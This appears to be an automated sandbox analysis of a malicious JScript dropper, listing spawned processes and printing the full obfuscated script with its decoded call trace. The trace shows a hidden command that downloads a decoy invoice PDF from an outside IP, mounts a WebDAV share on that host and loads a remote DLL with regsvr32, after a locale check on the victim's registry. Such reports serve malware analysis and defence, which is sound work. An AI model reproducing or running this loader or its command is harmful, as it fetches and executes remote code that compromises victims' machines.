MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	15:17:35
Start date:	10/01/2025
Path:	C:\Windows\System32\net.exe
Wow64 process (32bit):	false
Commandline:	net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff7bfbf0000
File size:	59'904 bytes
MD5 hash:	0BD94A338EEA5A4E1F2830AE326E6D19
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	15:17:36
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Imagebase:	0x7ff6413e0000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	9
Start time:	15:17:36
Start date:	10/01/2025
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Imagebase:	0x7ff7e52b0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	10
Start time:	15:17:36
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2088 --field-trial-handle=1576,i,15311919484714083302,4794122541947920074,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Imagebase:	0x7ff6413e0000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

JavaScript Code

Call Graph

Executed
Not Executed

Script:

Code
0	function wshpovbtx() {	wshpovbtx() ➔ undefined
1	iitrxip = [ 1031, 3079, 5127, 4103, 2055, 3072 ];
2	var coscmhwf = this[ueksdg + ueuqyel + ovllp + ohusty + bldijxppm + mteqopu + jhjmzsj + xsmfgpgkt] ( this[swnmglt + uujgt + rizfwzdoz + ovllp + qccttut + ueksdg + xsmfgpgkt][uzzsmyp + ovllp + bldijxppm + ueuqyel + xsmfgpgkt + bldijxppm + pxfxybazq + zxcpxmmug + vwhado + bldijxppm + rizfwzdoz + xsmfgpgkt] ( swnmglt + uujgt + rizfwzdoz + ovllp + qccttut + ueksdg + xsmfgpgkt + mnuhqsn + uujgt + nifximbmf + bldijxppm + tjmqkwysj + tjmqkwysj ) [eesflx + bldijxppm + bdxiuipui + eesflx + bldijxppm + ueuqyel + nkpmxjf] ( ftbicnun + blbmhkrjv + vwgaxmzd + fufoybwh + pwzgyy + uzzsmyp + kscojktc + eesflx + eesflx + vwgaxmzd + jdqwjnu + mlvbsd + pwzgyy + kscojktc + uujgt + vwgaxmzd + eesflx + lljjxcna + uzzsmyp + ndtzc + jhjmzsj + xsmfgpgkt + ovllp + ndtzc + tjmqkwysj + nbufceksi + npmfie + ueuqyel + jhjmzsj + bldijxppm + tjmqkwysj + lljjxcna + mteqopu + jhjmzsj + xsmfgpgkt + bldijxppm + ovllp + jhjmzsj + ueuqyel + xsmfgpgkt + qccttut + ndtzc + jhjmzsj + ueuqyel + tjmqkwysj + lljjxcna + upgxmbwt + ndtzc + rizfwzdoz + ueuqyel + tjmqkwysj + bldijxppm ), 16 );	Windows Script Host.CreateObject("WScript.Shell") ➔ RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale") ➔ "00000C00" parseInt("00000C00",16) ➔ 3072
3	for ( umtfxza = 0 ; umtfxza < iitrxip[tjmqkwysj + bldijxppm + jhjmzsj + bdxiuipui + xsmfgpgkt + nifximbmf] ; ++ umtfxza )
4	{
5	if ( coscmhwf == iitrxip[umtfxza] )
6	{
7	coscmhwf = true;
8	break ;
9	}
10	}
11	if ( coscmhwf !== true )
12	this[swnmglt + uujgt + rizfwzdoz + ovllp + qccttut + ueksdg + xsmfgpgkt][eqzar + bhhvgxtpu + qccttut + xsmfgpgkt] ( );
13	this[swnmglt + uujgt + rizfwzdoz + ovllp + qccttut + ueksdg + xsmfgpgkt][uzzsmyp + ovllp + bldijxppm + ueuqyel + xsmfgpgkt + bldijxppm + pxfxybazq + zxcpxmmug + vwhado + bldijxppm + rizfwzdoz + xsmfgpgkt] ( swnmglt + uujgt + rizfwzdoz + ovllp + qccttut + ueksdg + xsmfgpgkt + mnuhqsn + uujgt + nifximbmf + bldijxppm + tjmqkwysj + tjmqkwysj ) [ovllp + bhhvgxtpu + jhjmzsj] ( rizfwzdoz + vgihac + nkpmxjf + nbufceksi + khiuzjnfc + rizfwzdoz + nbufceksi + ueksdg + ndtzc + inufq + bldijxppm + ovllp + ohusty + nifximbmf + bldijxppm + tjmqkwysj + tjmqkwysj + mnuhqsn + bldijxppm + oqesmwv + bldijxppm + nbufceksi + ouizwe + uzzsmyp + ndtzc + vgihac + vgihac + ueuqyel + jhjmzsj + nkpmxjf + nbufceksi + jlmjfdd + mteqopu + jhjmzsj + bnxlrkmav + ndtzc + niwyl + bldijxppm + ouizwe + swnmglt + bldijxppm + zxcpxmmug + eesflx + bldijxppm + tbigr + bhhvgxtpu + bldijxppm + ohusty + xsmfgpgkt + nbufceksi + ouizwe + pxfxybazq + bhhvgxtpu + xsmfgpgkt + umphxbbwp + qccttut + tjmqkwysj + bldijxppm + nbufceksi + gzlhdhjn + xsmfgpgkt + bldijxppm + vgihac + ueksdg + gzlhdhjn + lljjxcna + qccttut + jhjmzsj + bnxlrkmav + ndtzc + qccttut + rizfwzdoz + bldijxppm + mnuhqsn + ueksdg + nkpmxjf + eqgwamc + nbufceksi + nifximbmf + xsmfgpgkt + xsmfgpgkt + ueksdg + qnabmw + khiuzjnfc + khiuzjnfc + rfvtw + vzysjgtmk + dycmw + mnuhqsn + rfvtw + wtgto + dycmw + mnuhqsn + rfvtw + mnuhqsn + jluljesa + vrsyimf + mpvudxwn + khiuzjnfc + qccttut + jhjmzsj + bnxlrkmav + ndtzc + qccttut + rizfwzdoz + bldijxppm + mnuhqsn + ueksdg + nifximbmf + ueksdg + jlmjfdd + abuantaem + abuantaem + ohusty + xsmfgpgkt + ueuqyel + ovllp + xsmfgpgkt + nbufceksi + gzlhdhjn + xsmfgpgkt + bldijxppm + vgihac + ueksdg + gzlhdhjn + lljjxcna + qccttut + jhjmzsj + bnxlrkmav + ndtzc + qccttut + rizfwzdoz + bldijxppm + mnuhqsn + ueksdg + nkpmxjf + eqgwamc + abuantaem + abuantaem + rizfwzdoz + vgihac + nkpmxjf + nbufceksi + khiuzjnfc + rizfwzdoz + nbufceksi + jhjmzsj + bldijxppm + xsmfgpgkt + nbufceksi + bhhvgxtpu + ohusty + bldijxppm + nbufceksi + lljjxcna + lljjxcna + rfvtw + vzysjgtmk + dycmw + mnuhqsn + rfvtw + wtgto + dycmw + mnuhqsn + rfvtw + mnuhqsn + jluljesa + vrsyimf + mpvudxwn + nfjjhu + zawyp + zawyp + zawyp + zawyp + lljjxcna + nkpmxjf + ueuqyel + bnxlrkmav + inufq + inufq + inufq + ovllp + ndtzc + ndtzc + xsmfgpgkt + lljjxcna + abuantaem + abuantaem + rizfwzdoz + vgihac + nkpmxjf + nbufceksi + khiuzjnfc + rizfwzdoz + nbufceksi + ovllp + bldijxppm + bdxiuipui + ohusty + bnxlrkmav + ovllp + dycmw + jluljesa + nbufceksi + khiuzjnfc + ohusty + nbufceksi + lljjxcna + lljjxcna + rfvtw + vzysjgtmk + dycmw + mnuhqsn + rfvtw + wtgto + dycmw + mnuhqsn + rfvtw + mnuhqsn + jluljesa + vrsyimf + mpvudxwn + nfjjhu + zawyp + zawyp + zawyp + zawyp + lljjxcna + nkpmxjf + ueuqyel + bnxlrkmav + inufq + inufq + inufq + ovllp + ndtzc + ndtzc + xsmfgpgkt + lljjxcna + rfvtw + dycmw + vzysjgtmk + dycmw + dycmw + wtgto + mpfmihq + jluljesa + rfvtw + rfvtw + vrsyimf + vzysjgtmk + mpfmihq + wtgto + mnuhqsn + nkpmxjf + tjmqkwysj + tjmqkwysj, 0, false );	Windows Script Host.CreateObject("WScript.Shell") ➔ run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.pdf http://193.143.1.205/invoice.php"&&start %temp%\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\13933462110964.dll",0,false) ➔ 0
14	}
15	pwzgyy = "x";
16	pwzgyy = "F";
17	pwzgyy = "j";
18	pwzgyy = "m";
19	pwzgyy = "q";
20	pwzgyy = "i";
21	pwzgyy = "b";
22	pwzgyy = "b";
23	pwzgyy = "J";
24	pwzgyy = "T";
25	pwzgyy = "g";
26	pwzgyy = "U";
27	pwzgyy = "i";
28	pwzgyy = "E";
29	pwzgyy = "s";
30	pwzgyy = "L";
31	pwzgyy = "u";
32	pwzgyy = "c";
33	pwzgyy = "X";
34	pwzgyy = "w";
35	pwzgyy = "f";
36	pwzgyy = "j";
37	pwzgyy = "G";
38	pwzgyy = "v";
39	pwzgyy = "j";
40	pwzgyy = "R";
41	pwzgyy = "C";
42	pwzgyy = "l";
43	pwzgyy = "z";
44	pwzgyy = "a";
45	pwzgyy = "r";
46	pwzgyy = "m";
47	pwzgyy = "_";
48	blbmhkrjv = "I";
49	blbmhkrjv = "i";
50	blbmhkrjv = "p";
51	blbmhkrjv = "L";
52	blbmhkrjv = "K";
53	blbmhkrjv = "U";
54	blbmhkrjv = "Q";
55	blbmhkrjv = "S";
56	blbmhkrjv = "P";
57	blbmhkrjv = "s";
58	blbmhkrjv = "z";
59	blbmhkrjv = "t";
60	blbmhkrjv = "Y";
61	blbmhkrjv = "g";
62	blbmhkrjv = "s";
63	blbmhkrjv = "F";
64	blbmhkrjv = "F";
65	blbmhkrjv = "S";
66	blbmhkrjv = "P";
67	blbmhkrjv = "d";
68	blbmhkrjv = "Y";
69	blbmhkrjv = "d";
70	blbmhkrjv = "W";
71	blbmhkrjv = "e";
72	blbmhkrjv = "W";
73	blbmhkrjv = "K";
74	wtgto = "Q";
75	wtgto = "F";
76	wtgto = "I";
77	wtgto = "c";
78	wtgto = "Q";
79	wtgto = "s";
80	wtgto = "Q";
81	wtgto = "c";
82	wtgto = "A";
83	wtgto = "O";
84	wtgto = "J";
85	wtgto = "q";
86	wtgto = "t";
87	wtgto = "t";
88	wtgto = "c";
89	wtgto = "L";
90	wtgto = "y";
91	wtgto = "g";
92	wtgto = "z";
93	wtgto = "D";
94	wtgto = "4";
95	kscojktc = "Q";
96	kscojktc = "W";
97	kscojktc = "N";
98	kscojktc = "j";
99	kscojktc = "c";
100	kscojktc = "t";
101	kscojktc = "b";
102	kscojktc = "z";
103	kscojktc = "L";
104	kscojktc = "E";
105	kscojktc = "P";
106	kscojktc = "F";
107	kscojktc = "P";
108	kscojktc = "K";
109	kscojktc = "H";
110	kscojktc = "z";
111	kscojktc = "f";
112	kscojktc = "F";
113	kscojktc = "R";
114	kscojktc = "a";
115	kscojktc = "Z";
116	kscojktc = "y";
117	kscojktc = "p";
118	kscojktc = "H";
119	kscojktc = "n";
120	kscojktc = "i";
121	kscojktc = "J";
122	kscojktc = "M";
123	kscojktc = "g";
124	kscojktc = "l";
125	kscojktc = "Z";
126	kscojktc = "f";
127	kscojktc = "U";
128	kscojktc = "C";
129	kscojktc = "g";
130	kscojktc = "k";
131	kscojktc = "U";
132	khiuzjnfc = "/";
133	uujgt = "S";
134	uujgt = "d";
135	uujgt = "N";
136	uujgt = "J";
137	uujgt = "r";
138	uujgt = "b";
139	uujgt = "S";
140	uujgt = "l";
141	uujgt = "F";
142	uujgt = "d";
143	uujgt = "W";
144	uujgt = "T";
145	uujgt = "m";
146	uujgt = "y";
147	uujgt = "C";
148	uujgt = "L";
149	uujgt = "b";
150	uujgt = "g";
151	uujgt = "S";
152	jluljesa = "j";
153	jluljesa = "Y";
154	jluljesa = "e";
155	jluljesa = "l";
156	jluljesa = "I";
157	jluljesa = "r";
158	jluljesa = "A";
159	jluljesa = "u";
160	jluljesa = "y";
161	jluljesa = "n";
162	jluljesa = "r";
163	jluljesa = "h";
164	jluljesa = "X";
165	jluljesa = "X";
166	jluljesa = "k";
167	jluljesa = "S";
168	jluljesa = "o";
169	jluljesa = "P";
170	jluljesa = "L";
171	jluljesa = "x";
172	jluljesa = "u";
173	jluljesa = "C";
174	jluljesa = "w";
175	jluljesa = "k";
176	jluljesa = "A";
177	jluljesa = "q";
178	jluljesa = "U";
179	jluljesa = "O";
180	jluljesa = "L";
181	jluljesa = "X";
182	jluljesa = "G";
183	jluljesa = "2";
184	oqesmwv = "B";
185	oqesmwv = "S";
186	oqesmwv = "I";
187	oqesmwv = "o";
188	oqesmwv = "i";
189	oqesmwv = "P";
190	oqesmwv = "P";
191	oqesmwv = "J";
192	oqesmwv = "P";
193	oqesmwv = "b";
194	oqesmwv = "J";
195	oqesmwv = "O";
196	oqesmwv = "c";
197	oqesmwv = "D";
198	oqesmwv = "J";
199	oqesmwv = "f";
200	oqesmwv = "E";
201	oqesmwv = "K";
202	oqesmwv = "j";
203	oqesmwv = "P";
204	oqesmwv = "J";
205	oqesmwv = "n";
206	oqesmwv = "T";
207	oqesmwv = "R";
208	oqesmwv = "T";
209	oqesmwv = "H";
210	oqesmwv = "F";
211	oqesmwv = "O";
212	oqesmwv = "Y";
213	oqesmwv = "A";
214	oqesmwv = "G";
215	oqesmwv = "H";
216	oqesmwv = "k";
217	oqesmwv = "S";
218	oqesmwv = "U";
219	oqesmwv = "K";
220	oqesmwv = "E";
221	oqesmwv = "M";
222	oqesmwv = "s";
223	oqesmwv = "C";
224	oqesmwv = "D";
225	oqesmwv = "E";
226	oqesmwv = "i";
227	oqesmwv = "x";
228	mpvudxwn = "M";
229	mpvudxwn = "W";
230	mpvudxwn = "d";
231	mpvudxwn = "X";
232	mpvudxwn = "c";
233	mpvudxwn = "l";
234	mpvudxwn = "Q";
235	mpvudxwn = "j";
236	mpvudxwn = "J";
237	mpvudxwn = "z";
238	mpvudxwn = "z";
239	mpvudxwn = "5";
240	tbigr = "X";
241	tbigr = "s";
242	tbigr = "S";
243	tbigr = "i";
244	tbigr = "v";
245	tbigr = "u";
246	tbigr = "D";
247	tbigr = "y";
248	tbigr = "O";
249	tbigr = "N";
250	tbigr = "d";
251	tbigr = "e";
252	tbigr = "P";
253	tbigr = "N";
254	tbigr = "R";
255	tbigr = "t";
256	tbigr = "I";
257	tbigr = "i";
258	tbigr = "U";
259	tbigr = "E";
260	tbigr = "j";
261	tbigr = "l";
262	tbigr = "L";
263	tbigr = "m";
264	tbigr = "Y";
265	tbigr = "I";
266	tbigr = "X";
267	tbigr = "p";
268	tbigr = "i";
269	tbigr = "q";
270	npmfie = "D";
271	npmfie = "b";
272	npmfie = "A";
273	npmfie = "S";
274	npmfie = "N";
275	npmfie = "A";
276	npmfie = "v";
277	npmfie = "s";
278	npmfie = "X";
279	npmfie = "M";
280	npmfie = "Q";
281	npmfie = "J";
282	npmfie = "M";
283	npmfie = "g";
284	npmfie = "X";
285	npmfie = "U";
286	npmfie = "v";
287	npmfie = "m";
288	npmfie = "P";
289	inufq = "w";
290	inufq = "N";
291	inufq = "y";
292	inufq = "a";
293	inufq = "X";
294	inufq = "V";
295	inufq = "r";
296	inufq = "O";
297	inufq = "C";
298	inufq = "b";
299	inufq = "z";
300	inufq = "s";
301	inufq = "j";
302	inufq = "t";
303	inufq = "Y";
304	inufq = "J";
305	inufq = "U";
306	inufq = "H";
307	inufq = "n";
308	inufq = "Q";
309	inufq = "s";
310	inufq = "Z";
311	inufq = "c";
312	inufq = "T";
313	inufq = "r";
314	inufq = "k";
315	inufq = "w";
316	inufq = "j";
317	inufq = "g";
318	inufq = "o";
319	inufq = "y";
320	inufq = "l";
321	inufq = "w";
322	zxcpxmmug = "I";
323	zxcpxmmug = "d";
324	zxcpxmmug = "T";
325	zxcpxmmug = "E";
326	zxcpxmmug = "Q";
327	zxcpxmmug = "t";
328	zxcpxmmug = "C";
329	zxcpxmmug = "u";
330	zxcpxmmug = "j";
331	zxcpxmmug = "b";
332	rfvtw = "R";
333	rfvtw = "E";
334	rfvtw = "k";
335	rfvtw = "K";
336	rfvtw = "T";
337	rfvtw = "N";
338	rfvtw = "Q";
339	rfvtw = "O";
340	rfvtw = "d";
341	rfvtw = "t";
342	rfvtw = "f";
343	rfvtw = "T";
344	rfvtw = "R";
345	rfvtw = "w";
346	rfvtw = "U";
347	rfvtw = "W";
348	rfvtw = "1";
349	mpfmihq = "m";
350	mpfmihq = "N";
351	mpfmihq = "G";
352	mpfmihq = "o";
353	mpfmihq = "A";
354	mpfmihq = "h";
355	mpfmihq = "u";
356	mpfmihq = "p";
357	mpfmihq = "K";
358	mpfmihq = "R";
359	mpfmihq = "Q";
360	mpfmihq = "t";
361	mpfmihq = "J";
362	mpfmihq = "y";
363	mpfmihq = "g";
364	mpfmihq = "o";
365	mpfmihq = "K";
366	mpfmihq = "V";
367	mpfmihq = "T";
368	mpfmihq = "o";
369	mpfmihq = "h";
370	mpfmihq = "l";
371	mpfmihq = "z";
372	mpfmihq = "T";
373	mpfmihq = "a";
374	mpfmihq = "N";
375	mpfmihq = "B";
376	mpfmihq = "H";
377	mpfmihq = "p";
378	mpfmihq = "T";
379	mpfmihq = "z";
380	mpfmihq = "z";
381	mpfmihq = "r";
382	mpfmihq = "d";
383	mpfmihq = "k";
384	mpfmihq = "v";
385	mpfmihq = "V";
386	mpfmihq = "r";
387	mpfmihq = "e";
388	mpfmihq = "b";
389	mpfmihq = "D";
390	mpfmihq = "6";
391	vwgaxmzd = "J";
392	vwgaxmzd = "C";
393	vwgaxmzd = "n";
394	vwgaxmzd = "b";
395	vwgaxmzd = "v";
396	vwgaxmzd = "m";
397	vwgaxmzd = "X";
398	vwgaxmzd = "T";
399	vwgaxmzd = "y";
400	vwgaxmzd = "b";
401	vwgaxmzd = "h";
402	vwgaxmzd = "Y";
403	vwgaxmzd = "B";
404	vwgaxmzd = "c";
405	vwgaxmzd = "z";
406	vwgaxmzd = "K";
407	vwgaxmzd = "c";
408	vwgaxmzd = "c";
409	vwgaxmzd = "p";
410	vwgaxmzd = "U";
411	vwgaxmzd = "e";
412	vwgaxmzd = "E";
413	vwgaxmzd = "E";
414	umphxbbwp = "x";
415	umphxbbwp = "v";
416	umphxbbwp = "u";
417	umphxbbwp = "F";
418	uzzsmyp = "Z";
419	uzzsmyp = "f";
420	uzzsmyp = "j";
421	uzzsmyp = "y";
422	uzzsmyp = "p";
423	uzzsmyp = "U";
424	uzzsmyp = "N";
425	uzzsmyp = "W";
426	uzzsmyp = "D";
427	uzzsmyp = "i";
428	uzzsmyp = "H";
429	uzzsmyp = "m";
430	uzzsmyp = "D";
431	uzzsmyp = "E";
432	uzzsmyp = "c";
433	uzzsmyp = "E";
434	uzzsmyp = "C";
435	uzzsmyp = "a";
436	uzzsmyp = "C";
437	ovllp = "Z";
438	ovllp = "b";
439	ovllp = "M";
440	ovllp = "p";
441	ovllp = "b";
442	ovllp = "A";
443	ovllp = "c";
444	ovllp = "h";
445	ovllp = "f";
446	ovllp = "s";
447	ovllp = "t";
448	ovllp = "A";
449	ovllp = "o";
450	ovllp = "g";
451	ovllp = "B";
452	ovllp = "j";
453	ovllp = "q";
454	ovllp = "r";
455	mlvbsd = "n";
456	mlvbsd = "y";
457	mlvbsd = "Q";
458	mlvbsd = "z";
459	mlvbsd = "D";
460	mlvbsd = "A";
461	mlvbsd = "V";
462	mlvbsd = "a";
463	mlvbsd = "J";
464	mlvbsd = "H";
465	mlvbsd = "f";
466	mlvbsd = "V";
467	mlvbsd = "p";
468	mlvbsd = "Y";
469	mlvbsd = "e";
470	mlvbsd = "w";
471	mlvbsd = "l";
472	mlvbsd = "q";
473	mlvbsd = "j";
474	mlvbsd = "q";
475	mlvbsd = "P";
476	mlvbsd = "F";
477	mlvbsd = "v";
478	mlvbsd = "B";
479	mlvbsd = "s";
480	mlvbsd = "T";
481	mlvbsd = "T";
482	jhjmzsj = "W";
483	jhjmzsj = "v";
484	jhjmzsj = "u";
485	jhjmzsj = "m";
486	jhjmzsj = "F";
487	jhjmzsj = "W";
488	jhjmzsj = "K";
489	jhjmzsj = "s";
490	jhjmzsj = "S";
491	jhjmzsj = "h";
492	jhjmzsj = "b";
493	jhjmzsj = "R";
494	jhjmzsj = "R";
495	jhjmzsj = "j";
496	jhjmzsj = "V";
497	jhjmzsj = "E";
498	jhjmzsj = "C";
499	jhjmzsj = "e";
500	jhjmzsj = "E";
501	jhjmzsj = "f";
502	jhjmzsj = "g";
503	jhjmzsj = "L";
504	jhjmzsj = "G";
505	jhjmzsj = "w";
506	jhjmzsj = "t";
507	jhjmzsj = "N";
508	jhjmzsj = "V";
509	jhjmzsj = "d";
510	jhjmzsj = "z";
511	jhjmzsj = "n";
512	tjmqkwysj = "n";
513	tjmqkwysj = "T";
514	tjmqkwysj = "f";
515	tjmqkwysj = "p";
516	tjmqkwysj = "N";
517	tjmqkwysj = "q";
518	tjmqkwysj = "s";
519	tjmqkwysj = "u";
520	tjmqkwysj = "i";
521	tjmqkwysj = "m";
522	tjmqkwysj = "E";
523	tjmqkwysj = "i";
524	tjmqkwysj = "y";
525	tjmqkwysj = "Q";
526	tjmqkwysj = "s";
527	tjmqkwysj = "l";
528	tjmqkwysj = "l";
529	tjmqkwysj = "V";
530	tjmqkwysj = "I";
531	tjmqkwysj = "S";
532	tjmqkwysj = "B";
533	tjmqkwysj = "x";
534	tjmqkwysj = "u";
535	tjmqkwysj = "I";
536	tjmqkwysj = "I";
537	tjmqkwysj = "E";
538	tjmqkwysj = "i";
539	tjmqkwysj = "Y";
540	tjmqkwysj = "y";
541	tjmqkwysj = "o";
542	tjmqkwysj = "C";
543	tjmqkwysj = "U";
544	tjmqkwysj = "d";
545	tjmqkwysj = "P";
546	tjmqkwysj = "e";
547	tjmqkwysj = "X";
548	tjmqkwysj = "d";
549	tjmqkwysj = "e";
550	tjmqkwysj = "N";
551	tjmqkwysj = "Z";
552	tjmqkwysj = "z";
553	tjmqkwysj = "w";
554	tjmqkwysj = "H";
555	tjmqkwysj = "l";
556	vrsyimf = "0";
557	bdxiuipui = "B";
558	bdxiuipui = "C";
559	bdxiuipui = "z";
560	bdxiuipui = "X";
561	bdxiuipui = "R";
562	bdxiuipui = "J";
563	bdxiuipui = "Z";
564	bdxiuipui = "f";
565	bdxiuipui = "K";
566	bdxiuipui = "E";
567	bdxiuipui = "k";
568	bdxiuipui = "O";
569	bdxiuipui = "Y";
570	bdxiuipui = "s";
571	bdxiuipui = "U";
572	bdxiuipui = "Y";
573	bdxiuipui = "n";
574	bdxiuipui = "Z";
575	bdxiuipui = "V";
576	bdxiuipui = "A";
577	bdxiuipui = "f";
578	bdxiuipui = "E";
579	bdxiuipui = "g";
580	upgxmbwt = "q";
581	upgxmbwt = "K";
582	upgxmbwt = "F";
583	upgxmbwt = "N";
584	upgxmbwt = "F";
585	upgxmbwt = "J";
586	upgxmbwt = "X";
587	upgxmbwt = "e";
588	upgxmbwt = "F";
589	upgxmbwt = "N";
590	upgxmbwt = "d";
591	upgxmbwt = "j";
592	upgxmbwt = "g";
593	upgxmbwt = "O";
594	upgxmbwt = "H";
595	upgxmbwt = "Y";
596	upgxmbwt = "j";
597	upgxmbwt = "b";
598	upgxmbwt = "g";
599	upgxmbwt = "S";
600	upgxmbwt = "l";
601	upgxmbwt = "y";
602	upgxmbwt = "x";
603	upgxmbwt = "s";
604	upgxmbwt = "x";
605	upgxmbwt = "u";
606	upgxmbwt = "D";
607	upgxmbwt = "g";
608	upgxmbwt = "L";
609	ftbicnun = "q";
610	ftbicnun = "m";
611	ftbicnun = "I";
612	ftbicnun = "P";
613	ftbicnun = "E";
614	ftbicnun = "h";
615	ftbicnun = "R";
616	ftbicnun = "q";
617	ftbicnun = "M";
618	ftbicnun = "t";
619	ftbicnun = "w";
620	ftbicnun = "n";
621	ftbicnun = "o";
622	ftbicnun = "N";
623	ftbicnun = "O";
624	ftbicnun = "d";
625	ftbicnun = "z";
626	ftbicnun = "L";
627	ftbicnun = "C";
628	ftbicnun = "e";
629	ftbicnun = "C";
630	ftbicnun = "a";
631	ftbicnun = "h";
632	ftbicnun = "H";
633	ftbicnun = "u";
634	ftbicnun = "w";
635	ftbicnun = "m";
636	ftbicnun = "e";
637	ftbicnun = "B";
638	ftbicnun = "R";
639	ftbicnun = "I";
640	ftbicnun = "a";
641	ftbicnun = "v";
642	ftbicnun = "N";
643	ftbicnun = "t";
644	ftbicnun = "a";
645	ftbicnun = "l";
646	ftbicnun = "i";
647	ftbicnun = "p";
648	ftbicnun = "V";
649	ftbicnun = "H";
650	bldijxppm = "r";
651	bldijxppm = "Z";
652	bldijxppm = "Z";
653	bldijxppm = "b";
654	bldijxppm = "H";
655	bldijxppm = "s";
656	bldijxppm = "q";
657	bldijxppm = "P";
658	bldijxppm = "Y";
659	bldijxppm = "j";
660	bldijxppm = "U";
661	bldijxppm = "f";
662	bldijxppm = "Z";
663	bldijxppm = "n";
664	bldijxppm = "Y";
665	bldijxppm = "N";
666	bldijxppm = "D";
667	bldijxppm = "X";
668	bldijxppm = "U";
669	bldijxppm = "X";
670	bldijxppm = "j";
671	bldijxppm = "E";
672	bldijxppm = "Z";
673	bldijxppm = "F";
674	bldijxppm = "f";
675	bldijxppm = "d";
676	bldijxppm = "I";
677	bldijxppm = "p";
678	bldijxppm = "K";
679	bldijxppm = "D";
680	bldijxppm = "d";
681	bldijxppm = "a";
682	bldijxppm = "W";
683	bldijxppm = "B";
684	bldijxppm = "r";
685	bldijxppm = "F";
686	bldijxppm = "g";
687	bldijxppm = "J";
688	bldijxppm = "M";
689	bldijxppm = "a";
690	bldijxppm = "L";
691	bldijxppm = "u";
692	bldijxppm = "N";
693	bldijxppm = "K";
694	bldijxppm = "e";
695	fufoybwh = "M";
696	fufoybwh = "u";
697	fufoybwh = "D";
698	fufoybwh = "C";
699	fufoybwh = "X";
700	fufoybwh = "m";
701	fufoybwh = "H";
702	fufoybwh = "W";
703	fufoybwh = "a";
704	fufoybwh = "I";
705	fufoybwh = "J";
706	fufoybwh = "l";
707	fufoybwh = "F";
708	fufoybwh = "W";
709	fufoybwh = "I";
710	fufoybwh = "L";
711	fufoybwh = "D";
712	fufoybwh = "R";
713	fufoybwh = "Y";
714	nfjjhu = "c";
715	nfjjhu = "d";
716	nfjjhu = "e";
717	nfjjhu = "d";
718	nfjjhu = "G";
719	nfjjhu = "K";
720	nfjjhu = "d";
721	nfjjhu = "v";
722	nfjjhu = "C";
723	nfjjhu = "z";
724	nfjjhu = "Y";
725	nfjjhu = "L";
726	nfjjhu = "u";
727	nfjjhu = "q";
728	nfjjhu = "T";
729	nfjjhu = "f";
730	nfjjhu = "b";
731	nfjjhu = "D";
732	nfjjhu = "l";
733	nfjjhu = "q";
734	nfjjhu = "M";
735	nfjjhu = "A";
736	nfjjhu = "x";
737	nfjjhu = "D";
738	nfjjhu = "a";
739	nfjjhu = "Y";
740	nfjjhu = "H";
741	nfjjhu = "u";
742	nfjjhu = "Q";
743	nfjjhu = "a";
744	nfjjhu = "c";
745	nfjjhu = "G";
746	nfjjhu = "X";
747	nfjjhu = "M";
748	nfjjhu = "V";
749	nfjjhu = "O";
750	nfjjhu = "R";
751	nfjjhu = "d";
752	nfjjhu = "P";
753	nfjjhu = "q";
754	nfjjhu = "e";
755	nfjjhu = "P";
756	nfjjhu = "@";
757	jlmjfdd = "t";
758	jlmjfdd = "r";
759	jlmjfdd = "C";
760	jlmjfdd = "A";
761	jlmjfdd = "E";
762	jlmjfdd = "e";
763	jlmjfdd = "J";
764	jlmjfdd = "v";
765	jlmjfdd = "p";
766	jlmjfdd = "o";
767	jlmjfdd = "V";
768	jlmjfdd = "p";
769	jlmjfdd = "a";
770	jlmjfdd = "C";
771	jlmjfdd = "y";
772	jlmjfdd = "H";
773	jlmjfdd = "J";
774	jlmjfdd = "J";
775	jlmjfdd = "b";
776	jlmjfdd = "H";
777	jlmjfdd = "W";
778	jlmjfdd = "o";
779	jlmjfdd = "v";
780	jlmjfdd = "D";
781	jlmjfdd = "r";
782	jlmjfdd = "\"";
783	lljjxcna = "g";
784	lljjxcna = "D";
785	lljjxcna = "t";
786	lljjxcna = "V";
787	lljjxcna = "e";
788	lljjxcna = "G";
789	lljjxcna = "A";
790	lljjxcna = "j";
791	lljjxcna = "R";
792	lljjxcna = "K";
793	lljjxcna = "Q";
794	lljjxcna = "R";
795	lljjxcna = "t";
796	lljjxcna = "L";
797	lljjxcna = "J";
798	lljjxcna = "p";
799	lljjxcna = "p";
